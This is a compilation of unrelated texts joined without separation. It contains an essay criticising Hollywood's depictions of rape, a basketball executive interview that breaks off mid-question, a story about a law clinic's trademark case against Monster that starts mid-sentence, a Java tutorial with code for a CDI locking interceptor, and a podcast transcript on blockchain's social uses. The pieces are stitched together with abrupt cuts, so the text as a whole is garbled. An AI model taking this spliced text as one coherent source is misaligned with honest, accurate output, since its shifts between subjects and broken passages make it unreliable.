But in Hollywood, for at least the past 20 years, the rapist has become just as tropey a figure as a princess in despair. There was "Irreversible" (2002), in which the victim is raped by a pimp in a hallway. There was "Pulp Fiction" (1994) where a hulky mob boss is raped by a stranger. In "Bad Lieutenant" (1992), a degenerate cop masturbates in front of teenagers. In "The Girl With the Dragon Tattoo" from 2011, Lisbeth Salander was tied to a bed and raped by her corrupt, court-appointed guardian, who might as well have walked around with a red, flashing “DEVIL” sign on his head. Even in the female superhero movie "Divergent," when Shailene Woodley’s character uses strong words to resist an attempted rape by her friend, she fights him off with a serious kick to the body. While this scene is powerful, it’s still a fantasy sequence of sorts — far from a real scenario. And now news has broken that Brad Pitt’s upcoming movie on the Steubenville rape case will focus not on the rape plot itself but rather on the role of the hacker Anonymous in launching the story into the media spotlight. It’s hardly a surprising angle in light of the general cultural obsession with the world of hackers and tech. But it’s still disappointing because the Steubenville story had the potential to break so much new ground in movie representations of rape.
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The message from Hollywood is clear: Rapists are shadowy strangers, pimps, criminals. And yes, rape can actually happen in these ways, with narratives that are brutal and horrific. But these story lines are more myth making than a real exploration of sexual assault. Rape is often far more confusing, which is why 60 percent of victims don’t report it and which is why two-thirds of victims are raped by someone they know. It’s also why victims hear “You know you want it,” or “You’re a tease” or “We’ve gone too far” or, in my case, with the person I lost my virginity to, “It’ll be quick.” It’s also why one of the Steubenville witnesses testified that he didn't know the victim was being raped. He said: “It wasn’t violent... I thought [rape] was forcing yourself on someone.” (Which makes it even more surprising that RAINN, the country’s largest anti-sexual-violence organization, recently advised a White House task force to steer away from talk of rape culture.)
But there’s one place on the big screen where rape narratives are represented accurately, and it’s a fairly surprising one: the world of indie shock films. There was last year’s "Nymphomaniac: Vol. I," where the female protagonist, Joe, pressures a man on a train into a blow job even after he says, "No, please." And even that scene, as Nerve’s Christopher Zeischegg explains, "I couldn't imagine a scenario in which oral sex from a young woman might be a moral affront to a heterosexual man … if no really means no, and we apply the same standards to both men and women, then the blow job was rape. Otherwise, we assume the passenger wanted it all along, which is basically victim-blaming." There’s Harmony Korine’s "Kids" — in which a teenage Chloe Sevingy is raped by a friend while she’s passed out, with the pathetic irony that her character had been recently diagnosed with HIV — and more recently "Spring Breakers," which for all its queasy exploitativeness was still a powerful look at the gray areas of rape culture.
You’d have to go way back in cinematic time to look at the few exceptions. Take 1977’s "Saturday Night Fever," in which Annette, the victim, a neighborhood underdog, gets wasted with Tony’s (John Travolta) friends, who rape her in the back seat of the car. The rape is callous and quick, then completely disregarded.. Her attempt to fight the guys off is laughed at. John Travolta does little to help her and when he does, his buddy responds. “What is it? You don’t give a shit about her,” as if that’s the only problem at hand. In the end of the scene, Tony victim-blames Annette. “Are you proud of yourself now?” he says, as she whimpers in the back seat.
In another famous movie, a girl gets drunk, passes out, and then is driven off by a boy who is given permission to “have fun” with her any way he pleases. The scenario might sound like a Steubenville, or Maryville, Mo., time machine, but it’s actually one of the plotlines in "16 Candles." The sensitive, yet husky love muffin, Jake Ryan, who prefers uber-adorable Molly Ringwald over hot prom queen Caroline, dumps said inebriated prom queen with “The Geek” Anthony Michael Hall. Says our romantic hero: “I got Caroline in my bedroom right now, passed out cold. I could violate her 10 different ways if I wanted to.” We all laugh, we all understand, we even force our 13-year-old cousins to watch this movie because Jake Ryan! Without intending to, John Hughes documented rape culture as we know it, long before rape culture had a name. This behavior — to “give” another dude your passed-out girlfriend — was perfectly acceptable, and in many ways still is. After all these years, it’s frustrating that Hollywood still can’t address the theme of rape in a way that doesn’t feel sensational or cartoonish. Lack of material certainly isn’t to blame. Scriptwriters merely need to tear a page from our most current headlines — or take a hint from television — for all the inspiration they need.Rocky Widner/Getty Images
For a franchise starving for success, the Kings and their fans had reason to smile after Sacramento won the NBA Summer League championship on Monday night in Las Vegas. It's been eight years since the Kings last made the playoffs, but the start to this summer has generated a measure of hope in Sacto.
Rudy Gay decided to stay and opted in last month. DeMarcus Cousins could be due for his first All-Star campaign. Seasoned scoring spark and defensive stopper Darren Collison arrived after a strong finish to last season with the Los Angeles Clippers. And the Summer League team highlighted rookie Nik Stauskas' underrated passing, Ben McLemore's driving ability and Ray McCallum's all-around point guard play. The Kings have some interesting pieces in place since owner Vivek Ranadive and GM Pete D'Alessandro came on board last summer.
So what's next for the Kings, who are coming off of a 28-win campaign? Speaking with Bleacher Report last weekend in Las Vegas, D'Alessandro discussed the Summer League team, his optimistic visions for next season, efforts to bring more transparency to front-office decisions and more.
John Locher/Associated Press/Associated Press
Bleacher Report: With Summer League now in the books, what are your final impressions of your title team?
Pete D'Alessandro: We're really happy. When we came here, we were kind of hoping to increase our pace, change our style of play a little bit. And we saw a little two-guard-front action and some different things offensively. One thing that we talk about with our ownership is playing a position-less style of basketball. The NBA is kind of going in that direction, and I think having watched our team progress this week, we've seen more and more of a game plan that's matching with that vision.
B/R: What stood out to you about your first-round draft pick, Nik Stauskas?
PD: When we drafted him, we saw more than just a shooter. We saw a guy who could handle the ball, who could pass the ball. He's the perfect guard for that two-guard-front action we talked about because of the way he handles the ball and his feel for the game. When you get guys like [Kings advisor] Chris Mullin, who had the ultimate feel for the game, raving about this kid's feel for the game, that's usually a good sign.
B/R: When you watch players such as Ray Allen, J.J. Redick and Kyle Korver, they're key space-creators in today's perimeter-oriented game. Stauskas appears to be in that mold. How might he fit in the Kings' offense?
PD: With DeMarcus [Cousins] in the middle, [opponents are] going to have to guard Nik. So if a team wants to send two or three guys at DeMarcus with Nik on the court, that's going to be hard to do. Or if they come out and guard Nik, it gives DeMarcus more room to play, as well as Rudy [Gay], because Rudy can get a little more space to play as well. You can't focus on two guys if we have a shooter like Nik out there.
Garrett Ellwood/Getty Images
Also, as Ben [McLemore] progresses, we have him as another shooter, too. We're trying to add some shooters because last year, frankly, we didn't shoot the ball very well. So with two young shooters in this mix, now maybe we can start to change a little bit and make some progress.
B/R: What is Ben's potential?
PD: We're really happy with Ben. We're seeing continued progress with him. You can see when guys get to their second year, the level of comfort becomes a lot greater. Nik eventually will experience the same thing. But Ben is very different from Nik. Ben is an incredible athlete, and he can shoot the ball very well but struggled last year. I look at Nik as more of a crafty guy who really has that feel for the game. Playing off each other a little bit, I think we'll see some interesting looks this year.
B/R: Has it been interesting to be around Sim Bhullar, who could |
2012, a member of MonsterFishKeepers who knew of Monster’s legal blitzkrieg told Chih to reach out to Suffolk’s fledgling intellectual-property law clinic, which worked like a small law firm, taking cases that its student attorneys could then research and debate. One experienced attorney would lead, supervise and vouch for the cases, assisted by eight third-year Suffolk law students working 15 hours a week.
The case seemed to have strong legal merit, said Anne Hulecki, the clinic’s current practitioner-in-residence, whose predecessor, attorney Eve Brown, led Chih’s case: The energy-drink company and fish-hobbyist blog operated in completely different markets.
“It seemed like another case of an underdog being taken advantage of,” Hulecki said. “We see large companies with lots of resources being so vigilant that sometimes it doesn’t make sense, and this was a case of that.”
But to prove it, the students had to rebut the well-worn arguments of Monster’s legal force. Over the last four years, the students would head into the clinic’s small cubicle-laden office at night, after their classwork and paying jobs were done, to craft arguments, write briefs and research case law.
“It was exciting, and the more we researched, the more we saw the opportunity to fight back where a lot of businesses can’t,” said Alex Chiulli, a 33-year-old recent graduate who now works as an associate at New England law firm Barton Gilman. But it also began to consume their brains: “You go into a CVS and you see a Monster energy drink and your mind starts to go back to the case.”
The energy-drink company had argued Chih’s name would lead to consumer confusion; for evidence, lawyers submitted print-outs from Facebook and an online forum of two commenters discussing whether the logo “stole” Monster’s design.
But the clinic “mini-lawyers” argued that “monster fish” was a widely used term in the fish-keeping community to describe jumbo sea creatures — a fact that viewers of TV’s “River Monsters” and “Monster Fish” likely know already.
Boston University Law School student Kelvin Chan (left) and Suffolk students Meaghen Kenney and Andrew Glenny, with supervising practitioners Anne Hulecki (center) and Eve Brown, at the U.S. District Court for the District of Massachusetts in September. (Courtesy of Eve Brown)
On Feb. 1, the Trademark Trial and Appeal Board finally unveiled its decision: The board would not register Chih’s logo — its ‘M’ with devil horns looked similar to Monster’s ‘M’ with claw marks — but handed him a decisive victory, in preventing Monster from opposing the MonsterFishKeepers name itself.
The mark “engenders such a different commercial impression from opposer’s mark that confusion is not likely,” the board wrote. “In contrast and as the evidence bears out, because MONSTER precedes FISH and KEEPERS in Applicant’s mark, the entire mark will be understood as referencing an extremely large fish that is being kept.”
When the students learned of the win, Hulecki said, “everyone was ecstatic”; for some students, it was their first big case and first real victory. Chih was happy, too, believing the win would encourage other small businesses facing down “trademark bullies and trolls.” In a triumphant post, Chih told forum members, “I have beaten the monster!”
The clinic has moved onto other cases, including representing photographers in cases where their photos may have been stolen by large companies, and many of the students who worked on the Monster case have moved along, too.
When Kenney graduates in May, she plans to join Brown, the clinic’s former supervising practitioner, at Bricolage Law, a young firm defending small businesses against threats from corporate giants.
“It’s hard to describe why I felt so passionate about it. It just seemed to me so — unfair,” she said. She remembered back to when she first heard about the case, before the victory: “I immediately was like, ‘This is what I want to do for the rest of my life.'”At the moment there is no standard concurrency control mechanism for CDI managed beans, and at the time of writing it has not been taken into consideration for CDI 2.0 specification either.
The lack of any container based concurrency control, can lead to issues when working with unprotected contexts such as Application- or Session-Scoped beans.
Unlike EJB’s, where the container handles concurrency control, CDI only defines concurrency control for the conversation context.
The container ensures that a long-running conversation may be associated with at most one request at a time, by blocking or rejecting concurrent requests. If the container rejects a request, it must associate the request with a new transient conversation and throw an exception of type javax.enterprise.context.BusyConversationException from the restore view phase of the JSF lifecycle. The application may handle this exception using the JSF ExceptionHandler.
Conversation context lifecycle in Java EE – CDI Spec
Aside from this concurrency is only mentioned in conjunction with CDI EJB interaction.
Whilst all other relevant normal scoped contexts (Application- and Session- Scoped) are completely unguarded, the specification only defines a non adaptable concurrency control for conversation scoped beans. In my previous post on sychronizing access to CDI Conversations, I described how some of these limitation can be overcome.
As mentioned, the CDI specification (see CDI Spec. 1.2 – 1.2.2 Relationship to EJB) states the possibility of employing EJB session beans for concurrency control.
@SessionScoped @Stateful public class MySingleton { public void threadUnsafeOperation() {... } public void threadSafeOperation {... } }
CDI manages the context and lifecycle of the stateful session bean, utilizing the EJB containers standard concurrency mechanics. The main limitation of this approach is that, apart from EJB Singleton (see EJB 3.1-Spec, Chap. 4.8.5 Singleton Concurrency), EJB concurrency control defaults to serializing all incoming requests.
By default, clients are allowed to make concurrent calls to a stateful session object and the container is required to serialize such concurrent requests. Note that the container never permits multi-threaded
access to the actual stateful session bean instance. For this reason, Read/Write method locking metadata, as well as the bean-managed concurrency mode, are not applicable to stateful session beans and must not be used. See Section 4.8.5 for a description of how these mode/locking types apply to Singleton session beans.
EJB 3.1 Spec – 4.3.14 Serializing Session Bean Methods
In this post we will explore how CDI interceptors can be used to implement EJB @Singleton style locking for CDI beans.
CDI interceptors are based upon the Interceptors Specification which was part of JSR-318 Enterprise JavaBeans.
The lifecycle of an interceptor instance is the same as that of the target class instance with which it is associated.
2.2 Interceptor Life Cycle – JSR 318 Interceptors 1.2
A locking interceptor binding has to be defined, which will be applicable to both type and method.
@Inherited @InterceptorBinding @Retention(RetentionPolicy.RUNTIME) @Target({ElementType.METHOD,ElementType.TYPE}) public @interface Lock { LockType value() default LockType.WRITE; }
Since the interceptors are directly bound to the bean and its lifecycle, a lock can be defined in the interceptor for the bean.
@Lock @Interceptor public class LockInterceptor { private final ReentrantReadWriteLock lock = new ReentrantReadWriteLock(true); @AroundInvoke public Object concurrencyControl(InvocationContext ctx) throws Exception { Lock lockAnnotation = ctx.getMethod().getAnnotation(Lock.class); if (lockAnnotation == null) { lockAnnotation = ctx.getTarget().getClass().getAnnotation(Lock.class); } Object returnValue = null; switch (lockAnnotation.value()) { case WRITE: ReentrantReadWriteLock.WriteLock writeLock = lock.writeLock(); try { writeLock.lock(); returnValue = ctx.proceed(); } finally { writeLock.unlock(); } break; case READ: ReentrantReadWriteLock.ReadLock readLock = lock.readLock(); try { readLock.lock(); returnValue = ctx.proceed(); } finally { readLock.unlock(); } break; } return returnValue; } }
It is important to note that by default ReentrantReadWriteLock does not guarantee the order in which waiting threads are granted access and is prone to thread starvation. This can be overriden, at the cost of throughput, by providing the constructor with a “fairness” parameter.
Non-fair mode (default)
When constructed as non-fair (the default), the order of entry to the read and write lock is unspecified, subject to reentrancy constraints. A nonfair lock that is continuously contended may indefinitely postpone one or more reader or writer threads, but will normally have higher throughput than a fair lock.
Fair mode
When constructed as fair, threads contend for entry using an approximately arrival-order policy. When the currently held lock is released, either the longest-waiting single writer thread will be assigned the write lock, or if there is a group of reader threads waiting longer than all waiting writer threads, that group will be assigned the read lock.
ReentrantReadWriteLock – Java 8
The interceptor can be applied globally by declaring it on the bean:
@Lock @ApplicationScoped public class MyAppScopedBean { @Lock(LockType.READ) public int threadSafeOperation() {... } public void threadUnsafeOperation() {... } }
In which case the lock type can be overridden by defining it on the method.
Or placing the interceptor only on methods that need concurrency control:
@ApplicationScoped public class MyAppScopedBean { public int threadSafeOperation() {... } @Lock public void threadUnsafeOperation() {... } }
In which case the interceptor does not have to be defined on thread-safe methods, since it will be invoked as per normal without any concurrency control from the container.
It is important to note that this will not work for conversation context. As described above, the specification mandates that the container handles concurrency control for long-running conversations. This therefore renders any attempt to control concurrent access via interceptors futile, since it is preempted by the containers.Mike: Vince, welcome to the show, it’s good to have you.
Vince: Thank you, yeah, nice to meet you and nice to be in Plovdiv I’m very excited to be here and see all the energy surrounding start-ups that are setting up here. So… Very happy to be here
Mike: I think you are the third person we ever interviewed face to face, so this is kind of cool for us too.
Vince: Oh I hope it doesn’t disappoint. So, umm. Yeah haha okay.
Mike: So we’ve had a lot of interesting conversations in the last couple of days, you’ve arrive yesterday and we had a blockchain meet-up, we did some presentations and stuff, I spoke you spoke Aric Dromi, our last interviewee also spoke, and we talked about a lot of interesting things.
So what was most interesting to you?
Vince: I think blockchain as a whole is one of the first technologies that’s gonna connect us really instead of keeping us separate. As a follow-up to the internet where basically we had the infrastructure to connect, now we need to have the reason to connect. We need to have the logic, we need to have the mapping of how we’re all related and how we’re all valuable to each other and I think for the first time, as humanity, we can start really acting like this collective intelligence and start doing super cool things.
Mike: What was the conversation, today, that we were having, where you were talking about your hesitations about the blockchain and you said something about it being the logic thing.
So what was your hesitation about the blockchain, Euvie?
Euvie: Oh, not so much hesitation, but my point was that there are always a percentage of the humans who will wanna colonize and invade things and kind of stick their own agenda into every technology.
So, how the printing press people thought that it was gonna liberate everyone, you know, push us into enlightenment age, and to a degree it did, and then the same happened with the radio and the same happened with the internet. People had super high hopes, and now people have really high hopes for the blockchain and so I wonder if in a few years if it becomes mainstream if it will get corrupted.
Vince: I think the main thing to grasp about the blockchain is that all of the previous technologies like the printing press and the radio and internet are basically replacements of the previous infrastructure to communicate on a large scale all around the world. And if you compare it to the body it’s mostly the infrastructure that gets updated every couple of decades. So, it’s like the blood vessels and the nervous system. But the brain and the logic is always something that we as humanity kept private within organizations or within individuals. And it’s not something that we really shared as humanity, and I think now with blockchain, if you compare it to the human body, is the first time that we get like a collective brain, a collective logic and a collective memory of everything that happened. To reason with that logic for the future.
So I think it’s really a new technology for the first time. And I think something super cool is if you look at it and you zoom out you see that as humanity we are comparable to cells in our bodies forming us as a human. I think us as humans in our turn together form this giant organism called humanity. And If we have a collective brain and a collective logic we can start putting that to use we can do even greater things than we’re doing right now.
Euvie: It’s like the blockchain could become conscious.
Vince: Definitely. I think in the end it’s just a mapping of all the small decisions that you can check with the history and with the sensors that are all around us or whatever, that’s gonna create this never-ending logic of improvement. And the cool thing about the blockchain is that every one of us with just a couple lines of code can put out there to benefit all of us.
And it will be out there, and it will be maintained and it cannot be taken down because it’s out there. It’s a one-way street, you can only add things to the blockchain.
I think in the future if we start seeing the power of all of us just sending something out there and it can impact us even after our lives. Yeah, it’s gonna do a lot of good in the world.
Mike: What do you think are some of the more obvious and basic applications for blockchain coming up?
Vince: I think one of the important things??? consumer behavior with the stuff that we buy. I think we live in a very consumer based society where we buy products instead of the story behind products. We buy our clothes from chains where people work who are not original founders so you get like distance from the things that you buy. I think with the blockchain when you can see the whole history of how the product came to be you can go back literally to the root of everything you buy. If you drink coffee you can start tracing the farmer that actually farmed those coffee beans, the person who grinded it. And so, you can see the whole story of everything that you buy and the other way around is also that the people selling you can see your story.
So, it will be a world where we can start seeing the impact of everything that we do and we can also feel responsible for everything that we do because we can see the relations between everything. So I think the supply chain transparency and behavior transparency those are like the big things.
I think it’s also allow, tvs are getting smart, cars are getting smart and so on, I think the interesting aspect of the blockchain Is that we can put wallets into anything around us. Not just humans not just businesses but also that car which can start doing transactions, it can start paying the road it drives on, it can pay the car in front of it to go to the side. It can start paying its own parking ticket and so on.
A lot of things will start being real transactions that are recorded that are now just separate things happening. And I think that’s something really cool that’s gonna happen.
Mike: There seems to be sort of a, like, to imagine that sort of scenario you need to go through some sort of mental shift. What do you think that mental shift is? That common person might be able to go “okay that’s normal a car paying to..”
Vince: I think now that just administration of all these transactions takes work, like a human needs to enter all these things. It’s something that you think it’s no point in recording all these things. But because with blockchain wastefulness of recording transactions is so easy, you can start registering a lot of things and this can be sensor this can be door lock, this can be light shining on someone that’s under the lightbulb that detects that that person is sitting under the lightbulb, and this person can start paying for this lightbulb instead of person who owns the room.
Because we can start tracking all the usage of all the small things that we think is just too small to track, we’re gonna track and we’re gonna make it more honest. It’s just like now I’m visiting you guys here in Bulgaria but I pay taxes in Netherlands even though im just two days in Bulgaria. But if it gets all connected, I can pay taxes very easily just for these two days in Bulgaria because I use your infrastructure, your utilities and so on.
Euvie: It’s interesting we were having a conversation with a friend actually, yesterday, it think it was about solar panels. In Mike’s presentation there is a bit how with blockchain if somebody has solar panels on their roof they can sell excess energy directly to their neighbors or to their city without going through the municipality or through a big power company. And our friend was like, oh, but I don’t wanna deal with making deals with 5 neighbors it just sounds like more work but actually what people don’t realize is that you can preset contracts that are gonna be automated and you don’t even have to think about it and you cut out actually a lot of bureaucracy actually by doing that.
Mike: By cutting out the middle man which is we typically think of as the middle man we’re actually adding more work and more decision making to be individual. But no, it’s an automated system, there just not one person benefiting in a monopolistic setting.
So I think that was interesting that even he who is more familiar with the blockchain was still like “ah, there are good things with middle man as well”.
But I think that the bureaucracy aspect is not like you need to go to your solar panel and monitor and track some number put it on a marketplace or whatever. It’s with the blockchain that your solar panel itself will do the transaction and will find the person buying it. The whole hassle will be gone to start sharing all our overcapacity of everything that we have around us. Think it’s going to be a big change of ownership. I think we need to drop ownership in a way because we also had the discussion about for example the phone bills where you have your extra minutes and your extra data that then in the future you’re gonna share with all the people so that they can use all your remaining space. This is gonna happen with most of the resource that we have.
Now we all overproduce we overconsume we all have duplicates of a lot of things we’re not using at a certain moment and its time to divide it more even. Take the example of a car again if you’ve parked it and you’re not using it, the car can be used by someone else and then it generates money instead of costing money.
I think we have to look at a lot of things that are happening in the society with this model and turn it around and start utilizing it.
Euvie: That’s one of the ideas actually that we have far the incubator where we’re gonna have. I mean we’ll have to buy the equipment lie the VR setups and different things then people can come in and use and hopefully incorporate the blockchain so that it tracks usage and people can just pay micro transactions for the short time they’re using it instead of having to go out and buy their own VR goggles which are quite expensive.
I think in the future because it becomes so easy to track who is using something at the moment we need to start seeing things literally in the minutes or hours that they’re used and now we divide the house ownership into rent where you break it into units of a month. And then we have hotels where they break it into days and we have meeting rooms that you can rent by the hour. But I think you can apply this for any space that you have or any tool or any asset that you have.
If we have the tools to administer to register even just a couple of seconds of usage then even a washing machine can have a thousand owners at the same time if they all do it sequentially. And this becomes easy thanks to the blockchain technology.
Mike: I’ve even thought of like speaking to all of our neighbors in the building about collectively getting a room sweeper so no one has to sweep the floors anymore.
Vince: Exactly, what’s the point of all having the same stuff it’s a crazy realization and it comes forth out of this industrial mindset of producing products constantly and pushing everyone to buy the same things. Like a lot of people have the ladder at their home and they only use it once a year to climb onto something and its pointless to have the ladder. And with the washing machine I think its similar. You have so many items in your building that you can share easily, you just need a simple tool to take the hassle out of sharing it and see the responsibility of the people that use it and so on.
Mike: If I am not familiar with this sort of thing, how do you connect the objects that you’re not using to the blockchain?
Vince: I think that we need to start bringing everything online like the internet of things taught so the room wash would also have a unique identifier on the blockchain that I can do a transaction to, to buy the right for next time and then It gets tracked for example where the thing is, so that when the next person wants to use it he should be able to see instantly that it’s at the neighbors place two doors up. It should be able to see that okay if somethings broken, that the last person did that.
But everything should have this unique identifier and be registered and start interacting with the blockchain.
Euvie: I think a lot for people would think, well what are the privacy issues with this kind of system where everything knows everything about everyone.
Vince: Yeah I think the cool thing about the blockchain technology is that you can have so many different addresses to do transactions with that you can create a new address every time. And an address is basically like a wallet within a wallet. And so for every wallet I can decide to announce to the world that this is me, or I can say im gonna remain anonymous with this. So maybe you will just have a wallet for the roomer that cleans the rooms and you will keep it separate from the transaction that you do for your food or the transaction that you do for your business, so people don’t necessarily have to see all the relations between all these things. You can easily separate it and keep it anonymous.
Euvie: You talked about reputation systems on the blockchain. So based on your reputation maybe the price of somethings changes or your status in the neighborhood changes based on how much you contributed to that neighborhood.
Vince: Yeah I think now the supply side always determines the price, a cup of coffee is always a cup of coffee and it’s the same for you and for me and so on. You see a lot of business start to build these loyalty programs where you can get an extra cup of coffee if you bought ten but I think that’s just the beginning, it can be done way smarter. Again an example with the car where the car will track how you drive, if you drive pollutive or you drive eco-friendly and if you then go to the gas station the price can be different if you use the energy thoughtfully or if you waste energy it can be higher price. It’s going to be the same in the super market where you can scan the products and see if they are sources from local farmers and if then as a person you always buy from local farmers and thereby support local economy things might become cheaper than actually buying them from like… Like in the Netherlands a lot of people eat avocados and they always fly in from Chile and the other side of the world.
And i always think its ridicules that for less than one euro this thing can board a plane, fly to the other side of the globe and be on my plate. I think that it’s an insane thing that we find this normal, and actually that apple that I buy from the farmer down the road might be more expensive than this avocado from the Chile.
Euvie: This actually really relates to the thing we were talking about with implementing basic income and how one of the ways we can do it is implementing the carbon tax. And the carbon tax would be charged every time you do something that you know pollutes the planet.
It could be that a piece of fruit that gets plucked from the field it has a certain base price and the price become variable based on a lot of factors. One factor could be for example that it becomes stale and less fresh and then the price decreases over time. But you can also put a geo location as to where it was plucked and then the more it gets removed from the place it was plucked, the price increases. So then you can start incentivizing to consume things and grow them locally for example. I think that’s in the future a way to trigger people to be more aware of consuming local things that don’t impact the environment that much. Or that you see that the supermarket if it wants to source products, it can see in the supply chain how many transportation links where in between, like truck and boats and airplanes or whatever and it can calculate, because geo locations were are tracked at all these points, how much pollution was created to get this thing there.
Yeah, you can start creating logic about that and yeah its going to incentivize a lot of good behavior and more honest local buying from consumers.
Euvie: Yeah I find that concept of creating the right incentives really fascinating because right now in our world the incentives are all wrong. We have a lot of incentives around making money and keeping things secret in business so that nobody can steal your process or whatever but if we can incentivize different things we could really change how we live.
Yeah I think this has to do again with how the money system was built and now if I transact a hundred euros to, you the values is seen as these hundred euros, and you feel powerful that you have this note of a hundred euros. But with the blockchain It also registers that we made that transaction for a certain reason. You get this like, account, like I bought this from you and once you start spending it all the transaction that will be done with these hundred euros will be linked to this.
So you will be more and more aware of that your hundred euros is not that literally that money shifting but it’s also connecting that certain network with certain networks of other transactions in the future and the past. And it builds more value over time than the actual hundred euros. So it become in the future less and less valuable to hold this money because if you hold it there are no connections being made with that money. And you might be poor in the future if you hold on to your money instead of spending it because spending it becomes the smartest thing to do because it connects more reputation to you.
And you should start incentivizing people to for example spend money only in their area or only in their friend group and that money also has an expiration date like food and you say like okay here you have a hundred euros but you need to spend it in your neighborhood and if you do that within a month it will become a hundred and ten euros or something like that, and if we all do this and start incentivizing local again. I think that’s the counter movement we need in the world right now where everything become these huge hubs of global centralization and you see this with cities you see this with food production, you see this with banks, everything is centralizing.
And I think with the blockchain you can create a counter movement where local becomes the most logical thing to do and therefor you have a way more evenly spread out across the world a lot for resources a lot of systems and I think it’s a better world.
Mike: I like how blockchain makes us rethink how we think about value exchange.Like you know if someone posts something interesting or entertaining or funny or something on facebook and you give it a like, why is there no value exchanged in that. Another thing, just the constant stream of content exchange could be like here’s ta micro transaction of a token.Vince: Yeah and also in the music industry if you buy music we also have this industrial mindset of creating a product out of music. We created CD which was a plastic box with a plastic disc in it and actually when I buy the music I’m buying this plastic box with a plastic disc In it and I’m not buying the artist.And with blockchain because you start tracking who bought it, it will become more and more feeling like “hey I’m investing in this musician to make more music in the future and I’m consistent in supporting this artist.” Like with the CDs, nobody tracked who the fans were. So with blockchain I as a musician can see that you guys always buy my music as one of the first people, I can see you’re my true fans because you’re always first in line to buy something. So next time I have a concert and say a ticket is a hundred euros, for my first fans who always buy this and this and this, I can list the qualifications, its free to come, because you’re my supporters, you believe in me.For people who don’t support and believe me can pay money. And I think you get gradually the shift towards that and you already see this with hotels now for example where they ask us now to implement our social media following to get a discount on our booking for example. The reputation will become more and more valuable and the more relevant your reputation is to the other party I think money will gradually move to the background and be less needed. It’s the ultimate form of barter maybe in the end. Money was just this in between mechanism because the value didn’t match up.But with the blockchain you can always find the value in this giant network of nodes of relations that were mapped or whatever.Mike: Yeah I think the most interesting and obvious ones are the finance interacting, that sort of stuff, but I’m really curious in that what you see in other industries interacting with blockchain like virtual reality or artificial intelligence or anything that’s really ground breaking on its on, then coming on to the blockchain.Vince: Yeah we also discussed like the creepy thing for example if artificial intelligence becomes so smart that it can literally see all the chat conversations that you had. And it can really read up on how you communicate and which things you reference and it can also instantly read your books because computers can read books within seconds. It can become so smart that its like a personal assistant that is literally like you for example based on everything you did in the past and it can facilitate you, so that you can focus more and more on the good things that are higher levels of the maslows pyramid and drop all the basic things on the lower levels because it gets automated and predicted and catered to you in a way that it would probably take you a lot of time or some time but it gets prepared for you because your behavior becomes facilitateable based on your past behavior.Euvie: Its really interesting actually we touched on this with our previous interviewee Aric that AI will become like a part of us like an external processor processing all our data and then feeding it back to us like “oh ive read all of your conversation with this person and I appropriately responded on your behalf, just so you know.” And now you know. And you feel like it was you replying to this person but its actually AI.Vince: Yeah but it’s also a dull task like paying your rent or whatever all these small repetitive things like doing groceries. At some point, it will start monitoring like your basic needs and take care of it so you can focus your time on higher things so to say. Higher in the sensem ore towards art or learning or self-expression and all the basic will be taken care of by the smart software all this automated version of all the minor tasks that you usually do. And it allows for more freedom to focus on things we find beautiful.Mike: I love the idea of this like second you that’s watching your behavior cause its knows what your goals are. You don’t know your own faults or the things you do wrong in conversations and this thing can be watching you all the time and its you it knows how to speak to you, how to critique you, it knows what your goals are and how to help you improve to reach your goals.Vince: It can also be practical things like just coming here and needing to look for airplane ticket and just by monitoring my own conversation and seeing that I have this intention of visiting you already catered to me and put airplane ticket in place and know that to need to transfer from Sofia to your place. And really putting it on plates so that I can just focus on things and spend my time better that just looking up all this. I really see this as an empowerment of yourself to gain more focus into things that you wanna do.That’s the beauty of logging all these things, people shouldn’t see this as a privacy threat, but more as an empowerment of themselves and all of this is out there and the beauty of the blockchain is that its decentralized and not like the government having all this data on you. Its just you and you embedded software on a blockchain to empower you. You are the owner of it and no bad can be done with it unless you allow it.Mike: What about things like virtual reality? Or anything like that you see could be an interesting combination?Vince: Definitely, lot of people can become aware of their own impact in the world. So for example If I can see where I buy my products what kind of impact I have on my surroundings. I think VR can become a great visualization of this whole network where its really difficult to see this impact on the 2d screen and its really difficulty to see it in mapping of statistics and huge excel sheets.I think virtual reality is probably the most immersive way to visualize everyone and to consume. As humans we are experience oriented and I don’t think we are made to read books and all this dull methods of transporting information I think we’re more experience people and feeling it seeing it hearing it all around us is I think the most natural way to interact with all of this and we can to way more things than just on the computer screens or the traditional ways.Euvie: Its interesting actually it reminds me of the conversation we were having today where Mike was saying there were so many protest during the Vietnam war partially because the photography was so widespread and people actually were getting photos and videos from the world and they realized what kind of impact it was having and the reality of it just hit them and drove the to do something about it. Whereas in the wars before people just didn’t have an idea of how devastating it actually was.Vince: Yeah I think this is also about connection again, that because you can relate to another country, all of the sudden you start feeling the guilt or the feeling that they’re not actually that different. That’s why I think its very important to also get this feeling with every product or service that you buy. It might come from this farm from Iraq or it might come from this company in Venezuela and you start seeing like hey I start interreacting with this global economy and invading this country is stupid because my and coffee comes from here and my financial service comes from there and actually we’re all connected and not like this is some standalone entity where we just invade and do something bad. No, its literally impacting me because part of my life is connected to that area. And part of the impact that I have impacts that area. Because I’m paying that company something happens there, and I feel attached to that country.I think also the other interesting thing now is that with blockchains, the mechanism of truth and truth is set in time and It cannot be changed. I think for countries to go to war usually they invade a country and they try to change a lot of things and try to hide how they made the change and put it in their favor or whatever. And I think thanks to the blockchain I think it becomes super difficult to rid out the local companies doing something and putting in companies of the invading country locally.Like they do with all of the invasion because you can see transparently that “hey, this is where they messed up and this is where they were responsible for doing this.” And people will become more aware of this and take action and not accept that anymore as a logical step. I think if you start feeling the connection that all these people around the world, are actually, like with the six degrees of separation I think is a very good example, the six degrees of separation will happen in any aspect of our life not just the connection with other people but also with the connection with all the places with all the things, all the idea or whatever. Because you will see this huge mapping of how everything is related to one another. Like Wikipedia is just database but once we start seeing this map and impact of this subject and impact of this. And these people and these groups and so on. Then we really start feeling connected and start acting together. I think this is a good basis to start doing things that are bigger than ourselves.Mike: That’s a good transition in to next question which is, if you could do whatever you wanted to do, what would you work on?Vince: Me personally I think the cool thing that blockchain is gonna achieve is that we can do things also distributed. Because it becomes user easy to take this giant piece of work and divide it amongst million piece and now we have the tools to piece all these puzzle pieces together and achieve something. Like in the past you have things like building the pyramids or other great projects that took more than a lifetime to build and that were more complex than a human could comprehend I think we’re now moving to this distribution of work so that we can do projects that are too immense for a human to even comprehend or direct. I think most projects that are now happening, a human Is still sitting on top. Like building a skyscraper is still a project of just as couple of year from drawing to building and still a human can supervise it. But with blockchain we can like for example the interplanetary stuff like elon musk will now start with it, maybe it will take 2 million people to achieve full society on mars and it’s just a matter of dumping all these tasks on the blockchain in small things that together it will start forming this huge plan of actually making it happen.I think this is the future like this decentralized working for greater good projects as a humanity together across nations across groups and yeah just really cooperating 